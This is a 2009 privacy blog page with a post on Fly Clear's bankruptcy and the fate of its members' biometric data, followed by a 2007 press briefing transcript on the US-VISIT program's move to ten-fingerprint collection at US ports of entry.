Sep 23rd, 2009 | By | Category: Evidence, Opinions

PRIVACY AND IDENTITY THEFT

A blog by Dave Jevans

I was a member of Fly Clear, a system whereby you could get to the front of airport security queues by presenting an ID card that indexed to your biometric data (fingerprints and retina scans). You would pay $100 per year, and after going through a quick DHS blacklist scan, you were issued a Clear Card. This was a wonderful convenience when traveling from busy airports like San Jose or Los Angeles, where security lines can go outside the building and up 3 stories in the parking lot.

Fly Clear went bankrupt in June 2009, and there is a class action law suit against them. They sent their customers a letter stating that all customer biometric data would be deleted.

Now, Government Security News writes that the chairman and ranking member of the House Committee on Homeland Security have sent a joint letter to DHS Secretary Janet Napolitano asking her not to follow through on a Transportation Security Administration (TSA) plan to have “biometric data and unique identifiable information” of all Registered Traveler (RT) program participants deleted from the Registered Traveler Central Information Management System (CIMS) database.

This is disturbing news to those concerned with privacy, and those Fly Clear customers who registered with the operating company, Verified Identity Pass Inc. It’s in direct contravention of the company’s privacy policy. I can understand why TSA might want to keep the information around, as it could aid in counter-terrorism efforts. They claim that keeping the data around would allow another company to re-start the Fly Clear program.



US-VISIT Transition to 10-Fingerprint Collection ["As the database grows in size we need more information"]

Sep 19th, 2009 | By | Category: Evidence

Robert A. Mocny, Director, US-VISIT Program, Department of Homeland Security; Paul Morris, Director of Admissibiluty and Passenger Program, Office of Field Operations, U.S. Customs and Border Protection
Foreign Press Center Briefing
Washington, DC
November 20, 2007

MODERATOR: Good afternoon, everyone. Welcome to the Washington Foreign Press Center and today’s briefing about the US-VISIT 10-Fingerprint Collection Program. Just a few announcements before we get started. Please make sure all cell phones are on silent or off. We are going to be joined today via DVC from the New York Foreign Press Center so we may have some questions from them as well.

This briefing is on the record and on camera. When we go to questions and answers, if I can just ask that you wait for a microphone and then state your name and news organization before you ask your question. So now it’s my pleasure to introduce our two briefers today.

First we have Robert Mocny, who’s director of the Department of Homeland Security’s US-VISIT program; and second, we have Mr. Paul Morris, who is executive director of the Admissibility and Passenger Programs with the U.S. Customs and Border Protection Office. Let me turn it over first to Mr. Mocny.

MR. MOCNY: Thank you very much, and good afternoon everybody, and thank you for spending a bit of your afternoon with us so we can talk about what is a very important program for us and it is about the US-VISIT program. We’re here today, and I’m pleased to be joined by Mr. Paul Morris, where we’re going to be making some changes to the biometric program that you’ll be seeing at our ports of entry over which Mr. Morris has the lead on.

It’s a simple message that we’re moving from the current process where we collect the left and right index finger to where we’ll be collecting all 10 fingers. So this is a natural transition from where we started about four years ago, and perhaps for those of you who aren’t familiar with the program, let me briefly just describe the US-VISIT program. It is a program under Department of Homeland Security in partnership with the Department of State where we use biometrics to identify individuals by linking those biometrics to their visa or to their passport. So anybody who has to go and get a visa at a consulate or an embassy overseas will go through a two-finger scan process, first the left and then the right. And then when they get to the port of entry, the same left and right index finger is taken to verify that that’s the rightful owner of that particular visa.

Well, in the four years now that we’ve been around, we have built our database to be about 90 million fingerprints, and it’s now time for us to transition from the two to the 10. There’s two main reasons why we’re making this transition, and the first reason is accuracy. As the database grows in size we need more information. The system needs more information to differentiate individuals. So we have a process that deals with what we call false matches, people are incorrectly identified because the system thinks that maybe these two fingers match somebody that we’re looking for. That person has to go back into the secondary area and is quickly resolved, but it’s inconvenient to the traveler. By taking all 10 fingers, that makes that person unique, no one else. So that person is now fully identified and there will be much less sending back to secondary, much less false matches, and so accuracy is one main reason why we’re doing this.

The other reason, of course, is by just collecting the two fingers we’re missing the other eight, and we have been collecting overseas in war zones and other locations and just from law enforcement sources, latent prints that, of course, are other than just the index fingers. And so by capturing all 10 fingers we’ll be able to identify more individuals who are trying to sneak into the country for whatever reason they may be doing so.

We will be testing this starting at Dulles Airport next Friday, the 29th of November.* So we’ll roll this out at Dulles Airport, and then over the course of the next several months, we’ll roll it out to nine more locations. It’s going to go to places like Boston, New York, San Francisco and others, and I believe if you look in the brochures that we provided for you, you’ll see a list of all the airports that we’re going to.

Quite simply we have been taking biometrics. Of course others are starting to do this as well. The U.K. has a program where they’re using biometrics as part of the visa issuance process for the U.K. The EU is building a system to accommodate 10 prints for anybody requiring a visa to go to the EU, and of course Japan starts its biometrics today. They’re starting with two, but they are using biometrics, and the reason that we’re all using biometrics now as part of the immigration and border control process is it works.

We’ve identified about 2,000 individuals who have tried to use a different name, a different date of birth, a different passport than the one they’re the rightful holder of, and the biometrics is what trips them up. They try to lie their way into the U.S. or lie their way to getting a visa. The State Department, again our partner, an agency with whom we share this information, has identified tens of thousands of individuals who are not eligible for visas and have some kind of deportation issue or criminal issue to deal with. So we use it because it works and we’ll continue to refine this.

We have a device up here. You’re welcome to take a look at it. We’re working very closely with industry to make sure that we have the latest technologies, that we have very fast and efficient use of technology because at US-VISIT we have four goals. The first two goals are not in conflict with one another. They are to enhance the security of our citizens and our visitors, but also to facilitate legitimate travel and trade. So we recognize that we have to make sure it’s easy for the good people to get through the process, but very intimidating and difficult for those who are trying to do us harm.
The other point I’d like to make, though, is given that information that we’re taking from individuals, we are committed to privacy. We have a privacy officer within the US-VISIT program, and this month, in fact, is privacy month at US-VISIT where every employee must go through mandatory privacy training for the month of November, each and every year. And we take that privacy charge very, very seriously because we are taking information from individuals that is deemed to be very personal in nature, i.e. fingerprints and, of course, other biographic information.

And the last point I’d make, before I turn this over to Paul, is our commitment to outreach. We appreciate the opportunity to do this. We appreciate the State Department in making this available to us because it’s important for us to get the word out and that’s why I appreciate you being here today so that you can get the word out to our foreign friends and families across the globe. We are committed to the safety and security of the United States. We’re also committed to a prosperous nation, but also making it as easy for people to come into the country as we possibly can.

So, again, with the employment of technologies and outreach such as this we hope to send the message to people: come to the U.S. We want you to be here. We want you to come to the United States. We’re informing you today about this change and we’ll test this over the next couple of months. We’ll roll it out at all ports of entry by the end of December of 2008, at all 311 points of entry by air, land, and sea.

To talk about the effects at the ports of entry, Paul is going to come up here and describe how this will be working at the various ports of entry and what the impact will be on operations so I’ll turn this over to Paul.

MR. MORRIS: Thank you, Bob. I think this is some very exciting and important progress that we’re making with the rollout of this additional technology. As Bob said, we have been collecting two fingerprints at the ports of entry for some time now. It’s been very successful in helping us to positively identify each and every non-immigrant traveler that comes to the United States.

So taking that next step to get this additional information, the additional biometrics collected on this group of individuals, will allow us really to do several different things. It will provide us with that additional security preventing those that may cause the U.S. harm, those that may have some kind of issue that we wish to prevent them from entering the United States from coming here. It will allow us to facilitate the valid travelers to the United States.

By being able to concentrate better on those few individuals that are of interest to us, we can better facilitate those that are of no interest to us, the legitimate trade, the legitimate travelers coming to the United States. And we see the collection of biometrics as just one more tool in our security tool box. We have provisions in place overseas where we monitor flights before their departure to the United States so we can prevent the boarding of certain individuals.

We have the collection of biometrics at the ports of entry and, really, we have a layered approach to enforcement and providing security for our homeland. Combine that with some additional documentary requirements under the Western Hemisphere Travel Initiative, combing a more secure document with more biometrics, we have really the ability to tie three things together: the individual that’s before us, the document that’s being presented, and the biometrics that are being collected. That security package then allows us to positively identify and again facilitate individuals into the U.S.

As we deploy this new technology to the ports of entry, we’re going to do it in a very measured way. We’re going to work with US-VISIT in making sure that the technology has been fully vetted and there are no technological issues that are yet to be addressed with us before we go to full deployment. We are going to have full training for our officers. We fully expect that, in the end, after the repeat customers to the United States have been registered with 10 fingerprints that we’ll start to see some facilitation in that we are actually reducing the amount of time for biometric collection on the subsequent trips. In addition to that fact that we will simply have a better idea of who’s in front of us and be able to more quickly process them.

Most importantly, obviously, this provides an additional layer of security. It gives us the ability to prevent those that would pose a harm to the United States from entering. So I would thank you at this point and Bob and I would be happy to answer any questions you may have.

QUESTION: Ruben Barrera with the Mexican news agency Notimex. The first speaker said that one of the things that you’re looking for with this new program is to have more precise information when you collect, I mean, this information from the people who enter the country. I was wondering if, would these new improvement in this system, that will mean that, among other things, we will see less or maybe no cases where some people had been subjected to a second and sometimes even a third inspection, just because the fact that he happened to have the same name or last name that someone else were appearing in the security list.

I mean, I can give you examples of people who went to get a new visa and they encountered this problem. And, you know, this is something that not only happened to those who are seeking to get visas, but also to people who want to travel. So could you say that, you know, how this program will affect that problem?

MR. MOCNY: Thanks for the question. The beauty of biometrics is just that, there are no two biometrics, no two people with the same set of fingerprints. There are many people with the same name. And so what the biometric does is once we have that individual and identify and then lock that identity with the name, that John Smith with these fingerprints versus John Smith with those fingerprints, then he’s just that one John Smith, not the bad guy.

So over time, biometrics does allow for us to have a better sense of security and identity both from our standpoint, but also from the individual’s standpoint. And one of the things that it does that’s kind of ancillary to your question is it does help protect the identity, because once I have my fingerprints attached to that visa or to that passport no one else can use that visa, no one else can use that passport, I can’t sell or lose my passport and have my name now be thought to be somebody else’s because my fingerprints don’t match that. So biometrics does help with privacy protection, with identity protection, and it will help prevent a situation like the one you just raised.

QUESTION: That doesn’t mean that, you know, I mean this is the problem, mostly you have cases like that.

MR. MOCNY: Well, you’re going to have, you know, again, over a period of time, you’re going to have people who are going to be misidentified by the name, but the point I’m trying to make is once we establish who that person is, if that person is mistaken to be somebody else, once we have the fingerprints and certainly identify that he’s not the bad guy, not the bad John Smith, then the next time he’s identified he’s identified as the good John Smith because his fingerprints have already identified who that person is.

Again, names will change and I can’t say that officers won’t look twice at if a name comes up at a separate hit biographically, but certainly by having the fingerprints and if we’ve seen that person before and if we’ve adjudicated that individual to be the good John Smith then there should not be any issue with that.

Do you want to comment at all?

MR. MORRIS: And we do have processes in place so that if at a port of entry an individual has been repeatedly identified by our systems as potentially a match to a record that we can remove that match so that on subsequent entries into the United States it will not occur. And we can do that on just biographic information.

QUESTION: Hi, Tim Harper. I’m with the Toronto Star, so here comes the Canadian question. There’s always been confusion in Canada as to which class of Canadian traveler, which Canadians are subjected to US-VISIT. The second part of the question is when will it be installed at pre-screening at Canadian airports, and the third question is, sir, you tied it in with WHTI and mentioned land-border crossings. With the enhanced drivers’ licenses and/or passports under WHTI and 10 fingerprints under this program, how does that not slow traffic crossing the Canada-U.S. border?

MR. MORRIS: Let me see if I can extract the several questions that were in there. First of all any Canadian citizen who’s required to obtain a visa, which is a very limited amount, would have to be registered as part of the US-VISIT process, and in that case would have to provide the 10 fingerprints.

With respect to the Western Hemisphere Travel Initiative, the more secure a travel document becomes and the fewer documents that are actually presented for admission to the United States and that have to be recognized by our CBP officers, the more facilitation we are going to see. We currently see something in the vicinity of 8,000 different potential documents that are presented to establish identity. With a single document, a passport issued to international standards that positively identifies the individual and their citizenship, again we can better facilitate. And at our land-border ports of entry, yes, we will have this kind of technology. It will be for those individuals that are traveling under the visa waiver program, and those small quantity of individuals that come in that are required a visa through our land border ports, including the very few Canadians.

QUESTION: Does that include student visas?

MR. MOCNY: Let me add to what Paul said. Right now, today, the only Canadians who have to go through the US-VISIT program are those that they call treaty trade investors, “E” visas, or anybody as a fianc�e, “K” visa. So Es and Ks. When we publish, when and if we publish the final rule, for which we did an NPRM, a Notice of Proposed Rule Making, last August we’ll add to that Canadians who are students, Canadians who are nurses, and other categories, and you can look at the NPRM to see what was in the proposed rule. The final rule is still going through its clearance process. So there are additional Canadians that will be going through US-VISIT, now two print and soon to be 10 print based on, again, this final rule that might be coming out. But right now it’s only two categories, fianc�es of U.S. citizens and treaty trade investors.

QUESTION: I have a quick follow-up. I asked about the schedule for prescreening of Canadian airports, but the basic question is if it’s only those two categories, I hold an “I” visa so why do I get fingerprinted when I fly here from Toronto?

MR. MOCNY: Do you have a visa and a passport?

QUESTION: Yeah.

MR. MOCNY: Yeah, then as Paul said, if you get a visa, I mean, anybody can be fingerprinted, but most cases don’t have to have visas. So if you have an “I” visa then you go through the visa process, then you go through the fingerprinting process. It’s that simple in as far as if you get a visa no matter what your nationality is you will go through the US-VISIT process. There are lots of Canadians that don’t have to have a “B” visa, some of the other tourist visas they have up there, but if you get an “I” visa then you’re going to have to go through that process.

QUESTION: And the prescreening schedule?

MR. MOCNY: Yeah, again, we’re going to roll out to nine ports of entry. Toronto’s not one of them by springtime. Post-spring we will finish all ports of entry by December of 2008. I don’t think we have the schedule in the book just because, you know, we’re going to see how it works out at Dulles and other locations, but by December of 2008 Toronto will have it.

QUESTION: Jinsook Leeof MBC Television Korea. You were talking about why you extended from two fingers to 10 fingers, but obviously well, with my common knowledge, obviously, by two fingers it would not be so difficult to identify an individual’s identification, so if there have been cases, what happened, numbers or in terms of percentage, how many cases have been there so far in which you have had difficulties in identifying the individuals, and my second question is in terms of time, how much longer time would an individual need to fingerprint 10 fingers? Thank you.

MR. MOCNY: The false match rate, I’ll throw a technical number here for you, the false match rate right now is one-tenth of 1 percent. That translates to about 70 a day that go back to secondary, who should be going back to secondary. And it’s a technical issue. You’ve got a database of 90 million fingerprints, and when you’re searching against those fingerprints, sometimes the system isn’t as precise as it needs be. That’s why we always have human fingerprint examiners to do that final adjudication, which in fact does happen.

So when the system says that might be the same person, a human fingerprint examiner looks at the two fingerprints and says, no it’s not. And they can make that very definitive call. That just takes a little bit of time to do. That person has to wait in the secondary area while that adjudication takes place. It takes about two to three minutes frankly. And that’s just a vagary of the technology as we build it. We’re going to work with the IT industry to see how we can improve upon that but that’s the way the system is. That’s where the state of technology is right now. And the second question was?

QUESTION: How much longer?

MR. MOCNY: How much longer? Well, stay tuned. That’s why we’re piloting at Dulles. We’re going to test two different ways of doing this. There’s going to be a three- slap process and a four-slap process. And we’ll get these terms down. Left hand, right hand, two thumbs; and left hand, left thumb, right hand, right thumb. That’s the four-step process.

So we’re going to try that and just see ergonomically. We’re going — this will be on the CBP officer’s desk like this, in some places it’ll be like this because it’s a little easier just to angle that way so that’s why we’re piloting it at Dulles and these other nine other locations to say what’s the best methodology — is it three or four slap, is it angled, is it not, do we have to lower the booth height or what. So that’s why we’re testing. We always test, test, test to make sure before we roll it out. We don’t want to have long lines at Paul’s ports of entry, so we want to make sure we get the ergonomics, the technology and all those pieces right before we go for a nationwide roll-out.

QUESTION: Hello. Rosalea Barker from Scoop Media New Zealand. For people from visa waiver countries, the first time they’ll encounter this is at the port of entry. Is the information collected at the port of entry sent back to any departments or law enforcement agencies or anybody in the country of origin?

MR. MOCNY: Yes, all visa waiver participants will go through a 10-print process the first time when they get to the port of entry. We have the ability to share law enforcement information with other law enforcement agencies. We publish our privacy impact assessment and we notify the public of that ability to share with foreign governments in some cases. We’re not currently sharing with the government of New Zealand at this point, but we have the ability to share with law enforcement entities within the U.S. and we have the ability to share that outside the United States as well.

QUESTION: (Gregoria Meraz, Televisa, Mexico) Will that be the case with Mexico? Excuse me.

MR. MOCNY: We don’t have a current — we don’t have a data-sharing agreement with
Mexico at this point.

QUESTION: Frank Herrmann of Rheinische Post, Germany. Can I just follow up on the time question? How long does it take? You didn’t answer that. I mean, how long does it really take to get all your, as far as I understood it, one thumb of each hand, two thumbs all together and one hand — doesn’t it, the end of it, doesn’t it deter for the, you know, tourists who are already hesitant to come to the United States and you only see fingerprints, more fingerprints and why should I come and you are competing in an international tourism market.

MR. MOCNY: Well, we hope not. We hope people don’t look at it that way. In fact when we first rolled out the two prints we had a lot of fear that that would happen and people wouldn’t be coming and, in many cases, we asked people after they walked away from the primary booth, what did you think about it, and they said what do we think about what? It was such a non-event for most individuals — and I’m not overselling that.

I’m sure they’re — I know there are some detractors of the program, but the fact of the matter is that with the four years of two prints and 90 million fingerprints having taken so far we have not had any appreciable delays based on that fingerprinting process going through. So it’s a rather quick and painless process. There’s obviously no ink involved. It’s very quick. The test lab showed somewhere in the range of 11 to 15 seconds thereabouts in taking — this is a very, very rapid way of taking prints here.

Again, we’re working with the IT industry. We said, yes, we’re going to be taking more fingerprints but we need less time to have that processed, and so it can be sub-10 seconds depending on how good you are with this whole thing. And one thing to keep in mind, once we have the 10, it’s kind of like “never again.” We have your 10 fingerprints. The next time we see you it’s going to be four slap. That’s it. So you can just kind of imagine if, right now, I go through a two-finger process, 1001, 1002, 1003, 1004, okay fine, now shift. Okay, 1001 — and so you have to shift the hands.

As we build this database of the 10 prints the first time we see you, we don’t need the 10 prints again. We just need a verification. And so you’ll be walking up to the booth and simply once — one tap — and I wish I could turn this on for you because it takes it in that amount of seconds. As I put my finger down it takes the fingerprint and captures that. So it’ll be one hand slap in any kind of verification, any, like the next time that we see you.

So over time, I think as Paul alluded to, we believe that we’re going to see actually facilitation and that even though we have more information you’re going to see a faster processing as the CBP officers get used to this and as the travelers get used to this. I don’t want to set false expectations and that’s, again, why we’re testing this to see what’s the best way to deploy this, but we hope to — our goal is not to create long lines.

Our goal is create a fast, efficient, and secure process for people to come into the United States and that’s always been our goal. That will remain our goal. We have what we call service level agreements with CBP. I have to get a response back to Paul’s officer within 10 seconds. We’re down to about six to get that response back. So after we take the prints we send them off to a database with about 3.2 million criminals, potential terrorists, deported felons, and we have to respond back to that CBP officer within 10 seconds.

We’ll always be committed to that very fast turnaround time because I’ve been there myself. They are long lines sometimes, summertime, holiday time. We have to move people efficiently. So that’s why we’re doing the test to make sure that we can be as efficient as possible.

MODERATOR: We have time for just two more questions.

QUESTION: (Inaudible) World Journal. Do people have to leave their fingerprints when they leave the country like they leave the I-9 form, and if not, how do you track people or does it matter?

MR. MOCNY: We’re here today to talk about entry. I think exit will be a topic of another day. We are going to propose, I’ve testified as much to ask the airlines to participate in an exit process that will involve the use of biometrics. The Congress has mandated that. Today’s briefing really is about what happens at the entry, at the ports of entry rather than at departure — but stay tuned. Your very pressing question will be answered at some point in the very near future.

QUESTION: Hi, Heloisa Villega-Castro from TV Record Brazil. I didn’t understand, if you’re only going to collect the prints here in the airports that the person is in, or are you going to collect that also when you’re issuing the visa in the country of origin, and in that case, a lot of people with long-term visas, like five-year visas, these people are going to have to go back and do the fingerprinting now?

MR. MOCNY: Excellent question. Thank you for that. Yes, the State Department in fact is already rolling out 10 print to most of their embassies. They’re going to complete their rollout by the end of this year, December of 2007, so they’re almost complete. So, yes, when you get a visa wherever you are, you’re going to go through the 10-print process — where they have it — and then we’re going to know that when you arrive at the port of entry. So all we’re going to need for those people is again that very quick four-slap process.

Like I said, once we have the 10 we don’t need them again. So when you get a visa and it’s a 10-print issued visa that will verify that individual when they get to the port of entry. And yes, those people who do have two-print visas and a five-year visa they just got today, they will go through a 10-print process when we see them at the port of entry.

Again the system will identify them as such — this person has a two-print visa but we now need to upgrade that to the 10 prints — so we’ll take the 10 prints as we would a visa waiver individual. Again we’ll have it that one time and then once captured it’s saved and then we just need the verification with the four slap.